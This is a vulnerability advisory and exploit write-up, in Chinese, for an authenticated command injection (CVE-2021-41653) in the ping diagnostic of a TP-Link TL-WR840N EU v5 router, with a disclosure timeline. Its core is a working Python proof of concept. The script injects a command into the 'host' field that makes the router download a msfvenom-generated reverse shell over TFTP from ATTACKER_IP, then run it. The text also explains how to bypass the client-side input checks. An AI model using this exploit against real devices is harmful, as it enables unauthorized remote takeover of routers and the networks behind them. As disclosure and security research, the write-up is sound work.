文章介绍
目标是在 TP-LINK TL-WR840N EU (V5) 路由器上实现远程代码执行。根据其文件,该版本于 2017 年问世。
型号:TP-Link TL-WR840N EU v5
注意:有更新的硬件版本 6.0 和 6.20。
易受攻击的固件版本:TL-WR840N(EU)_V5_171211 / 0.9.1 3.16 v0001.0 Build 171211 Rel.58800n
需要身份验证:是
LAN 攻击:是
POC:是
获得反向外壳:是
补丁可用:是
补充说明:
我强烈建议将固件升级到最新版本“TL-WR840N(EU)_V5_211109”。它可以从供应商主页下载。
我要感谢 TP-Link 安全团队。
我在 TPLINK TL-WR840N v4 硬件上发现了一个类似的漏洞,但它是不同的。它与Traceroute功能有关,在这种情况下可以使用 telnet。
相关的 CVE 如下:
https://nvd.nist.gov/vuln/detail/CVE-2019-15060
TPLINK TL-WR840N v6版本还有一个漏洞,该漏洞也是输入验证问题,但与诊断页面无关。
更多信息可以在这里找到:
https://nvd.nist.gov/vuln/detail/CVE-2020-36178
我用 v6.20 设备测试了这个漏洞,它没有漏洞。
技术细节
通过UART轻松root我使用我的 FT232 设备来获取设备的 root 访问权限。这个控制台在漏洞利用开发过程中非常有用。
# check serial port
screen /dev/tty.usbserial-AB0LR7NH 115200
我仅使用 UART 控制台进行调试,没有必要利用该漏洞。
漏洞利用
以下屏幕截图包含 GUI 上的相关输入参数。用户提供的输入参数未在服务器端进行清理,它用于执行 PING 命令。
注意:必须插入WAN线。路由器IP地址为192.168.1.1。
供应商使用客户端 JavaScript 保护,但可以通过代理轻松绕过它。
保护:
执行命令时,可以在串行控制台上看到确切的命令。
当然,我使用 ghidra 和其他逆向工程工具来检查发生了什么,但现在在服务器端没有对参数进行清理就足够了。
要在路由器上执行代码,必须发送以下两个请求:
注意:还有其他的请求,但它们不是实现代码执行的强制要求。
请求 1(主机参数易受攻击)
要求 2:
简单的代码执行
下图包含 /var/tmp 文件夹的内容(通过 UART)。该文件夹是可写的。
修改创建文件的host参数:
请求 1:
要求 2:
/var/tmp/k44 文件内容如下:
反壳
供应商提供的程序是有限的。对于成功的攻击,需要多个步骤。TFTP 客户端可用于将文件从攻击者复制到路由器。
注意:用户名和密码是必需的。
生成meterpreter shell(IP,PORT)
准备 TFTP 服务器
将 shell 复制到 TFTP 服务器
打开 Meterpreter 监听器
向路由器发送请求
通过 TFTP 下载 shell
执行二进制文件并连接回攻击者
代码执行的重要部分执行以下操作:
上传外壳
更改外壳的权限
执行外壳
POC + 演示
笔记:
我使用我的标准 kali vm 和 msfvenom 工具来生成反向 shell 二进制文件。架构是 MIPSLE。
我使用 atfpd 服务器作为 TFTP 服务器
使用多处理程序:
执行脚本:
反壳:
POC
#!/usr/bin/python3
###############################################################
### tplink_TL-WR840N-EU-v5-rce-exploit_v1.py
### Version: 1.0
### Author: Matek Kamillo (k4m1ll0)
### Email: matek.kamillo@gmail.com
### Date: 2021.09.06.
##############################################################
import requests
import os
import base64
USERNAME = "admin"
PASSWORD = "admin"
URL = "http://192.168.1.1/cgi"
PATH = "/srv/tftp/shell"
ATTACKER_IP = "192.168.1.101"
COMMAND = "$(echo 127.0.0.1; tftp -g -r shell -l /var/tmp/shell " + ATTACKER_IP + "; chmod +x /var/tmp/shell; /var/tmp/shell)"
def base64_encode(s):
msg_bytes = s.encode('ascii')
return base64.b64encode(msg_bytes)
class Exploit(object):
def __init__(self, username, password, command):
self.username = username
self.password = password
self.command = command
self.URL = "http://192.168.1.1/cgi"
self.session = requests.session()
#self.proxies = { 'http' : 'http://192.168.1.100:8080'}
self.proxies = { }
self.cookies = { 'Authorization' : 'Basic ' + base64_encode(username + ":" + password).decode('ascii') }
self.headers = { 'Content-Type': 'text/plain', 'Referer' : 'http://192.168.1.1/mainFrame.htm' }
def _prepare(self):
print("Generating reverse shell.")
command = "msfvenom -p linux/mipsle/shell/reverse_tcp -f elf LHOST=" + ATTACKER_IP + " LPORT=2000 -o " + PATH
os.system(command)
def _send_ping_command(self):
URL = self.URL + '?2'
data = '[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n'
data += 'dataBlockSize=64\r\n'
data += 'timeout=1\r\n'
data += 'numberOfRepetitions=4\r\n'
data += 'host=' + self.command + '\r\n'
data += 'X_TP_ConnName=ewan_ipoe_d\r\n'
data += 'diagnosticsState=Requested\r\n'
r = self.session.post(URL, headers=self.headers, data=data, cookies=self.cookies, proxies=self.proxies)
def _send_execute_command(self):
URL = self.URL + '?7'
data = '[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n'
r = self.session.post(URL, headers=self.headers, data=data, cookies=self.cookies, proxies=self.proxies)
def execute(self):
self._prepare()
self._send_ping_command()
self._send_execute_command()
if __name__ == "__main__":
e = Exploit(USERNAME, PASSWORD, COMMAND)
e.execute()
披露时间表
2021.09.20 – TP-Link 安全团队通知了该漏洞。
2021.09.22 – TP-Link Security 发送了响应。
2021.09.22 – 发送给 TP-Link 安全团队的技术细节。
2021.09.25 – V6.20 设备(最新固件)不易受到攻击。
2021.09.25 – 报告已更新。TP-Link 安全团队通知。
2021.09.26 – TP-Link 安全团队回复。分析正在进行中。
2021.11.01 – TP-Link 准备了两个 Beta 固件。
2021.11.01 – 该问题已在 Beta 固件中修复。(k4m1ll0)
2021.11.03 - 分配了 CVE-2021-41653 (MITRE)
2021.11.12 – TP-Link 发布补丁“TL-WR840N(EU)_V5_211109”
2021.11.12 – 已发布咨询 (k4m1ll0)